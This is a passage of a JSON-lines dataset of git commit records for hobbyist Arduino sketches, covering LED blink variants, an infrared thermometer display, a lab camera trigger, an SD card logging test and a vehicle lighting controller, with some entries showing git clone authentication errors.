another blink example sketch; classical variant with a twist - random delay time.","message":"Yet another blink example sketch; classical variant with a twist - random delay time.\n","repos":"dansut\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,kc9jud\/Cosa,dansut\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa","old_file":"examples\/Blink\/CosaBlinkRandom\/CosaBlinkRandom.ino","new_file":"examples\/Blink\/CosaBlinkRandom\/CosaBlinkRandom.ino","new_contents":"\/**\n * @file CosaBlinkRandom.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa LED blink demonstration with a twist. The classical Arduino\n * LED blink program written in Cosa using the Arduino built-in LED\n * with a random delay. No setup is necessary as mode is handled by\n * the OutputPin class. The delay is busy-wait (not low power mode).\n *\n * @section Circuit\n * Uses built-in LED (D13\/Arduino).\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/OutputPin.hh\"\n\nOutputPin ledPin(Board::LED);\n\nint32_t \nrandom(int32_t range)\n{\n if (range == 0) return 0;\n return (random() % range);\n}\n\nint32_t\nrandom(int32_t low, int32_t high)\n{\n if (low >= high) return (low);\n return (random(high - low) + low);\n}\n\nvoid loop()\n{\n ledPin.high();\n delay(random(100, 500));\n ledPin.low();\n delay(random(100, 500));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Blink\/CosaBlinkRandom\/CosaBlinkRandom.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"439028ffec303b84c633e2ef7b972829b8516cc7","subject":"Fixed the smoothing\/average value (error was in float arithmetic).","message":"Fixed the smoothing\/average value (error was in float arithmetic).\n","repos":"dariancabot\/InfraredThermometer,dariancabot\/InfraredThermometer","old_file":"InfraredThermometer\/InfraredThermometer.ino","new_file":"InfraredThermometer\/InfraredThermometer.ino","new_contents":"#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <IRTemp.h>\n#include <SPI.h>\n#include <Wire.h>\n\n\n\/*\n ===============================================================================\n \n Infrared Thermometer\n Version: 0.5\n Build: 20151103\n \n Darian Cabot\n http:\/\/dariancabot.com\/category\/projects\/infrared-thermometer\/\n \n -------------------------------------------------------------------------------\n \n Hardware modules used:\n \n Freetronics IRTemp\n http:\/\/www.freetronics.com.au\/products\/irtemp-ir-temperature-sensor-module\n \n Adafruit SSD1306 OLED\n https:\/\/github.com\/adafruit\/Adafruit_SSD1306\n \n ===============================================================================\n *\/\n\n\n\/\/ IRTemp configuration...\nstatic const byte PIN_DATA = 2;\nstatic const byte PIN_CLOCK = 3; \/\/ Must be either pin 2 or pin 3\nstatic const byte PIN_ACQUIRE = 4;\nstatic const TempUnit SCALE=CELSIUS; \/\/ Options are CELSIUS, FAHRENHEIT\n\nIRTemp irTemp(PIN_ACQUIRE, PIN_CLOCK, PIN_DATA);\n\n\n\/\/ OLED configuration...\n\/\/ If using software SPI (the default case):\n#define OLED_MOSI 9\n#define OLED_CLK 10\n#define OLED_DC 11\n#define OLED_CS 12\n#define OLED_RESET 13\n\nAdafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\n\n\/\/ Temperature variables...\nint tMin;\nint tMax;\nint tSmooth;\nfloat ftMin;\nfloat ftMax;\nfloat ftSmooth;\nint count = 0;\nint smoothCount = 0;\n\n\/\/ Graph variables...\nint gWidth = 128;\nint gHeight = 39;\nint gLeft = 30;\nint gTop = 25;\nint gXStep = gWidth \/ 64;\nfloat gYMin = 0;\nfloat gYMax = 100;\nfloat oldGYMin = 0;\nfloat oldGYMax = 100;\nint oldX = gLeft;\nint oldY;\nint gRescale;\n\n\nvoid setup()\n{\n Serial.begin(19200);\n Serial.println(\"IR Temperature v0.5\");\n Serial.println();\n\n display.begin(SSD1306_SWITCHCAPVCC); \/\/ Generate the high voltage from the 3.3v line internally.\n display.clearDisplay(); \/\/ clears the screen and buffer\n\n ftMin = irTemp.getIRTemperature(SCALE);\n ftMax = ftMin;\n ftSmooth = ftMin;\n\n tMin = round(ftMin * 100);\n tMax = tMin;\n tSmooth = tMin;\n\n oldY = gTop + gHeight \/ 2;\n \n count = gLeft;\n}\n\n\nvoid loop()\n{\n\n display.fillRect(0, 0, display.width(), gTop - 1, BLACK); \/\/ Clear big number.\n display.fillRect(0, gTop, gLeft - 1, gHeight, BLACK); \/\/ Clear graph min\/max.\n display.drawLine(0, gTop - 1, display.width(), gTop - 1, WHITE); \/\/ Draw graph top line. \n\n float ftIr = irTemp.getIRTemperature(SCALE);\n int tIr = round(ftIr * 100.0f);\n\n Serial.println(ftIr);\n\n display.setTextSize(3);\n display.setTextColor(WHITE);\n display.setCursor(20,0);\n display.print(ftIr, 2);\n\n boolean isMin = 0;\n boolean isMax = 0;\n boolean isSmooth = 0;\n\n if (!isnan(ftIr))\n {\n if (ftIr <= ftMin)\n {\n ftMin = ftIr;\n tMin = tIr;\n isMin = 1;\n }\n\n if (ftIr >= ftMax)\n {\n ftMax = ftIr;\n tMax = tIr;\n isMax = 1;\n }\n\n int tSmoothOld = tSmooth;\n ftSmooth = (tSmooth * 19.0f + tIr) \/ 20.0f; \/\/ Math needs to be done on float, otherwise it's too coarse.\n tSmooth = round(ftSmooth);\n\n \/\/ Do comparison at only 1 decimal place (same as display)\n if ((tSmoothOld \/ 10) == (tSmooth \/ 10))\n {\n smoothCount ++;\n }\n else\n {\n smoothCount = 0;\n }\n }\n\n \/\/ Print stats...\n\n display.setTextSize(1);\n display.setCursor(1, gTop + 2);\n\n if (isMax)\n {\n display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n display.fillRect(0, gTop + 1, 25, 9, WHITE);\n display.print(tMax \/ 100.0f, 1);\n display.setTextColor(WHITE, BLACK);\n }\n else\n {\n display.print(tMax \/ 100.0f, 1);\n }\n\n\n display.setCursor(1, gTop + gHeight \/ 2 - 3);\n\n if (smoothCount > 19)\n {\n display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n display.fillRect(0, gTop + gHeight \/ 2 - 4, 25, 9, WHITE);\n display.print(tSmooth \/ 100.0f, 1);\n display.setTextColor(WHITE, BLACK);\n }\n else\n {\n display.print(tSmooth \/ 100.0f, 1);\n }\n\n\n display.setCursor(1, gTop + gHeight - 8);\n\n if (isMin)\n {\n display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n display.fillRect(0, gTop + gHeight - 9, 25, 9, WHITE);\n display.print(tMin \/ 100.0f, 1);\n display.setTextColor(WHITE, BLACK);\n }\n else\n {\n display.print(tMin \/ 100.0f, 1);\n }\n\n\n oldGYMin = gYMin;\n oldGYMax = gYMax;\n\n \/\/ GRAPH: Update graph axis...\n gYMin = ftMin;\n gYMax = ftMax;\n\n\n if (gRescale < 3)\n {\n display.fillRect(gLeft, gTop, gWidth, gHeight, BLACK);\n display.setCursor(gLeft + 8, gTop + gHeight \/ 2 - 4);\n display.print(\"Rescaling...\"); \n gRescale ++;\n count = 1000; \/\/ force restart.\n }\n else if (gRescale == 3)\n {\n \/\/ Blank graph to remove 'rescaling' text, ready for drawing...\n display.fillRect(gLeft, gTop, gWidth, gHeight, BLACK);\n gRescale ++;\n }\n else\n {\n \/\/ GRAPH: Calculate X and Y values...\n oldX = count;\n count = count + gXStep;\n int gYVal = round(gTop + gHeight - 1 - (ftIr - gYMin) * ((gHeight - 1) \/ (gYMax - gYMin)));\n\n \/\/ GRAPH: Draw...\n display.fillRect(oldX + 1, gTop, 7, gHeight, BLACK);\n display.drawLine(oldX, oldY, count, gYVal, WHITE);\n\n oldY = gYVal;\n\n \/\/ Mark span changes...\n if ((gYMax - gYMin) > (oldGYMax - oldGYMin))\n {\n gRescale = 0;\n }\n\n \/\/ Check if edge of screen reached, and wrap if required...\n if (count >= gWidth)\n {\n count = gLeft;\n oldX = gLeft;\n display.fillRect(gLeft, gTop, (gXStep * 4), gHeight, BLACK);\n }\n }\n\n display.display();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'InfraredThermometer\/InfraredThermometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15016da33c3edf3a3961b878c889964f21eb0e82","subject":"Create 2nd.ino","message":"Create 2nd.ino","repos":"daniloanp\/Reativos","old_file":"2nd.ino","new_file":"2nd.ino","new_contents":"#define LED_PIN 13\n#define BUT_SLW 2\n#define BUT_PIN 4\n\nbool state = 1;\nlong tBtP, tBtS;\nunsigned long t, old;\n\ninline void initPins() {\n pinMode(LED_PIN, OUTPUT);\n pinMode(BUT_SLW, INPUT);\n pinMode(BUT_PIN, INPUT);\n\n}\n\nvoid setup() {\n tBtP = -10000;\n tBtS = -20000;\n t = 1000;\n \n old = millis();\n digitalWrite(LED_PIN, state);\n}\n\nvoid loop() {\n \/\/saving time from now\n unsigned long now = millis();\n \n \/\/ case time enough has passed, then:\n if (now >= old + t) {\n old = now;\n state = !state;\n digitalWrite(LED_PIN, state);\n }\n \n if (digitalRead(BUT_PIN)) {\n t *= 2;\n tBtP = now;\n }\n \n if (digitalRead(BUT_SLW)) {\n t \/= 2;\n tBtS = now;\n }\n \n if (500 > abs(tBtP - tBtS)) {\n while (1);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2nd.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb0cb86c1d6cbfcdafcea0b33b346f654f121011","subject":"Update - bug fixes","message":"Update - bug fixes\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"hydroCore\/hydroCore.ino","new_file":"hydroCore\/hydroCore.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"e7205c21610a3225a94f4cbfaaa221f495b7cc4c","subject":"Ant specific arduino trigger","message":"Ant specific arduino trigger\n","repos":"cdw\/daq_argonne","old_file":"ant_trigger\/ant_trigger\/ant_trigger.ino","new_file":"ant_trigger\/ant_trigger\/ant_trigger.ino","new_contents":"\/* quick_release\n Control a quick release data acquisition run\n communicate over serial to start a run, taking as inputs\n - pre-delay (time to wait before changing length)\n - step-to-exposure delay\n - exposure duration \n - post-exposure time before length is reset\n Created by CDW on 2014.12.02\n*\/\n\n\n\/\/ Timing variables\nconst int PREDELAY = 10; \/\/ in ms, before stim goes on\nconst int ANTDELAY = 250; \/\/ in ms, between whap start and shutter\nconst int SHUTTERDELAY = 1; \/\/ in ms, between shutter and camera\nconst int EXPOSUREDUR = 1; \/\/ in ms, camera image duration TODO: SEND THIS ONE OVER SERIAL TOO\nconst int POSTEXPOSURE = 1000; \/\/ in ms, before returning to length\n\n\/\/ Non-global variable declaration\nint antdelay = ANTDELAY;\nbool run_now = false;\n\n\/\/ ArduTimer Hardware configuration\n#define SIG1 2;\n#define LED1 3;\n#define SIG2 4;\n#define LED2 5;\n#define SIG3 6;\n#define LED3 7;\n#define SIG4 8;\n#define LED4 9;\n#define SIG5 10;\n#define LED5 11;\n#define SIG6 12;\n#define LED6 13;\n\n\n\/\/ Pin configuration\nint ANT_OUT = SIG2; \/\/ to ant whapper\nint ANT_LED = LED2;\nint SHUT_OUT = SIG4; \/\/ to quick shutter\nint SHUT_LED = LED4;\nint EXPOSE_OUT = SIG5; \/\/ to exposure trigger\nint EXPOSE_LED = LED5;\n\n\n\/\/ Begin setup of board\nvoid setup()\n{\n \/\/ Initialize serial interface\n Serial.begin(115200); \/\/ Start serial connection\n while (!Serial) {\n ; \/\/ wait for serial (for Leonardo only)\n }\n Serial.println(\"Hi\"); \/\/ Demonstrate serial connection\n \/\/ Set pin modes\n pinMode(ANT_OUT, OUTPUT);\n pinMode(ANT_LED, OUTPUT);\n pinMode(SHUT_OUT, OUTPUT);\n pinMode(SHUT_LED, OUTPUT);\n pinMode(EXPOSE_OUT, OUTPUT);\n pinMode(EXPOSE_LED, OUTPUT);\n \/\/ Initial pin states\n turn_ant(false);\n turn_shutter(false);\n turn_exposure(false);\n \/\/ Close out setup\n Serial.println(\"Setup complete\");\n}\n\n\/\/ Loop through\nvoid loop()\n{\n check_serial(); \/\/ read input if it exists\n if (run_now) {\n run(PREDELAY, antdelay, SHUTTERDELAY, EXPOSUREDUR, POSTEXPOSURE);\n Serial.println(\"Run complete\"); \/\/ tag that we've done a run\n run_now = false; \/\/ reset the run flag\n }\n}\n\n\/\/ Read data from serial, just the step-to-exposure delay\nvoid check_serial()\n{\n if(Serial.available() >= 2) { \/\/ only when something is available\n antdelay = Serial.parseInt(); \/\/ first int is delay\n Serial.println(antdelay); \/\/ echo back as sanity check\n char ending = (char)Serial.read(); \n if (ending == '\\n') { \/\/ ignore out-of-format commands\n run_now = true;\n }\n else {\n Serial.println(\"Command ignored: didn't end in newline\");\n }\n }\n}\n\n\/\/ Control a run\nvoid run(int predelay, int antdelay, int shutterdelay, int exposuredur, int postexposure)\n{\n delay(predelay); \/\/ just to let things settle\n \/\/turn_ant(true); \/\/ whap the ant\n \/\/delay(antdelay); \/\/ wait for motor movement\n turn_shutter(true); \/\/ tell the shutter to open\n delay(shutterdelay); \/\/ let the shutter physically respond\n turn_exposure(true); \/\/ tell the camera to take a pic\n delay(exposuredur); \/\/ let the camera take a pic\n turn_shutter(false); \/\/ tell the shutter to close\n delay(postexposure); \/\/ let the muscle rest\n turn_exposure(false); \/\/ reset cam trigger\n \/\/turn_ant(false); \/\/ reset whap\n}\n\n\/\/ Series of control functions\n\/* Each takes a state, true for on and false for off. On and off values for \n each connection are set here. This is complicated since some need to be \n high when on while others need to be high when off. To double complicate \n things, I think that the transistor control shield on the ardutimer inverts\n the signal. \n\n NOTE: THESE SHOULD BE DOUBLED CHECKED DURING SET UP.\n*\/\n\n\/\/ Ant control\nvoid turn_ant(boolean state){\n if(state == true){\n digitalWrite(ANT_OUT, HIGH); \n digitalWrite(ANT_LED, HIGH);\n }\n else{\n digitalWrite(ANT_OUT, LOW); \n digitalWrite(ANT_LED, LOW);\n }\n}\n\n\/\/ Shutter control\nvoid turn_shutter(boolean state){\n if(state == true){\n digitalWrite(SHUT_OUT, LOW); \n digitalWrite(SHUT_LED, HIGH);\n }\n else{\n digitalWrite(SHUT_OUT, HIGH); \n digitalWrite(SHUT_LED, LOW);\n }\n}\n\n\/\/Exposure control\nvoid turn_exposure(boolean state){\n if(state == true){\n digitalWrite(EXPOSE_OUT, LOW); \n digitalWrite(EXPOSE_LED, HIGH);\n }\n else{\n digitalWrite(EXPOSE_OUT, HIGH);\n digitalWrite(EXPOSE_LED, LOW);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ant_trigger\/ant_trigger\/ant_trigger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2ebbe53b68895870e81cbf9991aabe087a86aa72","subject":"adding test ino","message":"adding test ino\n","repos":"ManiacalLabs\/ESPSerialWiFiManager","old_file":"ESPSerialWiFiManager.ino","new_file":"ESPSerialWiFiManager.ino","new_contents":"#include <ESP8266WiFi.h>\r\n#include \"ESPSerialWiFiManager.h\"\r\n\r\nESPSerialWiFiManager eswp = ESPSerialWiFiManager();\r\n\r\nvoid setup(){\r\n Serial.begin(115200);\r\n\r\n \/\/ eswp.set_init_ap(\"SSID\", \"Password\");\r\n eswp.begin();\r\n}\r\n\r\nvoid loop(){\r\n eswp.run_menu();\r\n Serial.println(\"Loop...\");\r\n delay(1000);\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESPSerialWiFiManager.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9763d1bdf4bc8f8b1b0614f7c3b4229aa15c7592","subject":"Added setup placeholders. Added some functions such as usb_mode and support_function.","message":"Added setup placeholders. Added some functions such as usb_mode and support_function.\n","repos":"sagriff\/uav_project","old_file":"control.ino","new_file":"control.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sagriff\/uav_project.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"421bdde6ecb122c4ae900bff69553f602613bd46","subject":"Added zaxis to joypad sketch","message":"Added zaxis to joypad sketch\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/Joypad\/Joypad.ino","new_file":"src\/rfduino\/Joypad\/Joypad.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d1de9fbfab368bd34f9142181c786e08387102ff","subject":"Example SD card mode for UNO","message":"Example SD card mode for UNO\n","repos":"raunc\/bat-detector,raunc\/bat-detector,raunc\/bat-detector,raunc\/bat-detector","old_file":"SDModule\/BatDetector.ino","new_file":"SDModule\/BatDetector.ino","new_contents":"#include <SD.h>\n#include <SPI.h>\n\/\/----------------------SPI SPEED SETTINGS----------------------\nSPISettings settingsA(2000000, MSBFIRST, SPI_MODE0); \/\/ 2 MHz clock, MSB first, mode 0\nSPISettings settingsB(4000000, MSBFIRST, SPI_MODE0); \/\/ 4 MHz clock, MSB first, mode 0\nSPISettings settingsC(8000000, MSBFIRST, SPI_MODE0); \/\/ 8 MHz clock, MSB first, mode 0\nSPISettings settingsD(16000000, MSBFIRST, SPI_MODE0); \/\/ 16 MHz clock, MSB first, mode 0\nSPISettings settingsE(20000000, MSBFIRST, SPI_MODE0); \/\/ 20 MHz clock, MSB first, mode 0 (SD!)\n\/\/FILE\nFile myFile;\n\/\/----------------------BUFFERs FOR ANALOG DATA----------------------\nbyte buf00[256]; \/\/ buffer array 1\nbyte buf01[256]; \/\/ buffer array 2\nbyte controlbuf0x = 0; \/\/ control byte to send certain buffer data\n\/\/---------------------TEST COMMAND----------------------------------\nbyte Test = 0b00000001;\n\/\/----------------------PROTOTYPES----------------------\nvoid dataSend(void); \/\/to send the data\nvoid SerialPrepare(void);\nvoid BDTest(byte);\nvoid testLoadBuffer(void);\nvoid SDPrepare(void);\n\nvoid setup()\n{\n \/\/----------------------USE LED AS AN ERROR INFORMER----------------------\n pinMode(13, OUTPUT);\n SerialPrepare();\n SDPrepare();\n \n \n\n\n}\n\nvoid loop()\n{\n SPI.beginTransaction (settingsB); \/\/ 20 MHz clock, MSB first, mode 0\n BDTest(Test);\n dataSend(controlbuf0x);\n ReadData();\n myFile.close();\n Serial.println(\"Finished\");\n while(1); \/\/stop here\n}\n\nvoid SerialPrepare(void){\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n}\n\nvoid SDPrepare(void){\n Serial.print(\"Initializing SD card...\"); \/\/Initialization message\n if (!SD.begin(4)) { \/\/IF ERROR IS ENCOUNTERED\n digitalWrite(13, HIGH); \/\/LED GO ON\n Serial.println(\"Card failed, or not present\"); \/\/UNSUCCESSFUL MESSAGE\n return;\n }\n Serial.println(\"Card initialized.\");\/\/SUCCESSFUL MESSAGE\n if (SD.exists(\"example.txt\")) {\n Serial.println(\"example.txt exists.\"); \/\/CHECK IF FILE EXISTS\n } \n else {\n Serial.println(\"example.txt doesn't exist.\");\n }\n \/\/----------------------CREATE AND OPEN A FILE ON SD CARD----------------------\n myFile = SD.open(\"example.txt\", FILE_WRITE);\n \/\/myFile.close(); \/\/USE THIS TO CHECK IF EMPTY FILE CREATED\n}\n\nvoid dataSend(byte controlbuf0x){\n Serial.println(\"Saving to SD...\");\n if (myFile) {\n switch(controlbuf0x){\n case 0: \n Serial.println(\"Saving buff00\");\n myFile.write(buf00,0b11111111);\n break;\n case 1:\n Serial.println(\"Saving buff01\"); \n myFile.write(buf01,0b11111111);\n break;\n default:\n digitalWrite(13, HIGH);\n break;\n }\n \/\/myFile.close();\n \/\/ print to the serial port too:\n }\n else{\n digitalWrite(13, HIGH);\n Serial.println(\"error opening example.txt\");\n }\n}\n\nvoid BDTest(byte Test){\n if((Test && 0b00000001)==1){\n Serial.println(\"Starting to generate data\");\n testLoadBuffer();\n Serial.println(\"Finished generating\");\n }\n \/*if((Test && 0b00000010)==1){\n }\n if((Test && 0b00000100)==1){\n }\n if((Test && 0b00001000)==1){\n }\n if((Test && 0b00010000)==1){\n }\n if((Test && 0b00100000)==1){\n }\n if((Test && 0b01000000)==1){\n }\n if((Test && 0b10000000)==1){\n }*\/\n}\n\nvoid testLoadBuffer(void){\n byte i;\n for(i=0b00000000; i<0b11111111; i++){\n buf00[i]=i;\n Serial.print(i);\n Serial.println(\"\");\n }\n}\n\nvoid ReadData(void){\nif (myFile) {\n Serial.println(\"example.txt:\");\n\n \/\/ read from the file until there's nothing else in it:\n while (myFile.available()) {\n Serial.write(myFile.read());\n }\n \/\/ close the file:\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(\"error opening test.txt\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SDModule\/BatDetector.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96be5e94b33fea91220232c106c4e4f9415a4380","subject":"Changed LEDs","message":"Changed LEDs\n\nChanged LEDs from STATUS to SETUP_SUCCESS\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0918fa56e7b84a0d3e073e8e1e27f99f95156d69","subject":"upload arduino sketch","message":"upload arduino sketch\n","repos":"charleswongzx\/sutd-evos,charleswongzx\/sutd-evos,charleswongzx\/sutd-evos","old_file":"evos_arduino_button\/evos_arduino_button.ino","new_file":"evos_arduino_button\/evos_arduino_button.ino","new_contents":"\n#include <RBD_Timer.h>\n\n#include <PinChangeInterrupt.h>\n#include <PinChangeInterruptBoards.h>\n#include <PinChangeInterruptPins.h>\n#include <PinChangeInterruptSettings.h>\n\n#include <Adafruit_NeoPixel.h>\n\n\/\/ Timer for indicator scroll\nRBD::Timer timer;\n\n\/\/ Steering wheel pins\nconst int leftSignalPin = 13;\nconst int rightSignalPin = 2;\nconst int hornPin = 0;\nconst int lapCounterPin = 3;\nconst int PTTPin = 4;\n\n\/\/ Button cluster pins\nconst int hazardPin = 5;\nconst int wiperPin = 7;\nconst int headlightPin = 6;\nconst int ignitionPin = 8;\n\n\/\/ Limit switch pins\nconst int brakeLimitPin = A3;\nconst int clutchLimitPin = A4;\n\n\/\/ LED strip control pins\nconst int leftFrontLEDPin = 9;\nconst int rightFrontLEDPin = 10;\nconst int rearLEDPin = 11;\nconst int starterLEDPin = 12;\n\n\/\/ Relay control pins\nconst int ignitionRelayPin = 14;\nconst int hornRelayPin = 15;\nconst int wiperRelayPin = 16;\n\n\/\/LED Settings\n#define LED_BRIGHTNESS 128\n#define NUM_LEDS_FRONT 31\n#define NUM_LEDS_FRONT_TOP 15\n#define NUM_LEDS_REAR 132\n#define NUM_LEDS_REAR_TOP 66\n#define NUM_LEDS_REAR_TOP_SIDE 15\n#define NUM_LEDS_STARTER 36\n\nconst int rearLeftTopLEDs[]={50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65};\nconst int rearLeftBottomLEDs[]={81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66};\nconst int rearRightTopLEDs[]={15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0};\nconst int rearRightBottomLEDs[]={116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131};\n\nconst int frontTopRow = 15;\nconst int rearTopRow = 100;\n\nAdafruit_NeoPixel stripStarter = Adafruit_NeoPixel(NUM_LEDS_STARTER, starterLEDPin, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel stripFrontLeft = Adafruit_NeoPixel(NUM_LEDS_FRONT, leftFrontLEDPin, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel stripFrontRight = Adafruit_NeoPixel(NUM_LEDS_FRONT, rightFrontLEDPin, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel stripRear = Adafruit_NeoPixel(NUM_LEDS_REAR, rearLEDPin, NEO_GRB + NEO_KHZ800);\n\nuint32_t amber = stripRear.Color(255, 51, 0);\nuint32_t halfred = stripRear.Color(50, 0, 0);\nuint32_t fullred = stripRear.Color(255, 0, 0);\nuint32_t fullwhite = stripRear.Color(255,255,255);\nuint32_t halfwhite = stripRear.Color(127,127,127);\n\n\/\/ DEVICE STATES\nbool wiperState = false;\nbool hornState = false;\nbool ignitionState = false;\nbool clutchState = false;\n\n\/\/ LED STATES\nconst int BLANK = 0;\nconst int HAZARD = 1;\nconst int LEFT = 2;\nconst int RIGHT = 3;\nconst int HL = 4;\nconst int HL_HAZARD = 5;\nconst int HL_LEFT = 6;\nconst int HL_RIGHT = 7;\n\nbool hazardState = false;\nbool headlightState = false;\nbool brakeState = true;\nbool leftState = false;\nbool rightState = false;\nbool stateChanged = false;\nint ledState = 0;\nint amberCount = 0;\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ STEERING WHEEL PINS\n pinMode(leftSignalPin, INPUT_PULLUP);\n digitalWrite(leftSignalPin, HIGH);\n attachPinChangeInterrupt(digitalPinToPCINT(leftSignalPin), leftSignalTrigger, FALLING);\n pinMode(rightSignalPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(rightSignalPin), rightSignalTrigger, FALLING);\n pinMode(hornPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(hornPin), hornTrigger, CHANGE);\n\/\/ attachPinChangeInterrupt(digitalPinToPCINT(hornPin), hornReleaseTrigger, RISING);\n pinMode(lapCounterPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(lapCounterPin), lapCounterTrigger, FALLING);\n pinMode(PTTPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(PTTPin), PTTTrigger, FALLING);\n\n \/\/ BUTTON CLUSTER PINS\n pinMode(ignitionPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(ignitionPin), ignitionTrigger, CHANGE);\n\/\/ attachPinChangeInterrupt(digitalPinToPCINT(ignitionPin), ignitionReleaseTrigger, RISING);\n pinMode(hazardPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(hazardPin), hazardTrigger, FALLING);\n pinMode(wiperPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(wiperPin), wiperTrigger, FALLING);\n pinMode(headlightPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(headlightPin), headlightTrigger, FALLING);\n\n \/\/ LIMIT SWITCH PINS\n pinMode(brakeLimitPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(brakeLimitPin), brakeTrigger, CHANGE);\n pinMode(clutchLimitPin, INPUT_PULLUP);\n attachPinChangeInterrupt(digitalPinToPCINT(clutchLimitPin), clutchTrigger, CHANGE);\n\n \/\/ RELAY CONTROL PINS\n pinMode(ignitionRelayPin, OUTPUT);\n digitalWrite(ignitionRelayPin, HIGH);\n pinMode(hornRelayPin, OUTPUT);\n digitalWrite(hornRelayPin, HIGH);\n pinMode(wiperRelayPin, OUTPUT);\n digitalWrite(wiperRelayPin, HIGH);\n\n \/\/ LED STRIP PREP\n stripStarter.begin();\n stripStarter.show();\n stripFrontLeft.begin();\n stripFrontLeft.show();\n stripFrontRight.begin();\n stripFrontRight.show();\n stripRear.begin();\n stripRear.show();\n\n \/\/ INDICATOR SCROLL TIMING\n timer.setHertz(32);\n}\n\nvoid loop() {\n if(timer.onRestart()) {\n updateAmbers();\n }\n if(stateChanged){\n stateChanged = false;\n parseLEDState();\n updateLEDs();\n 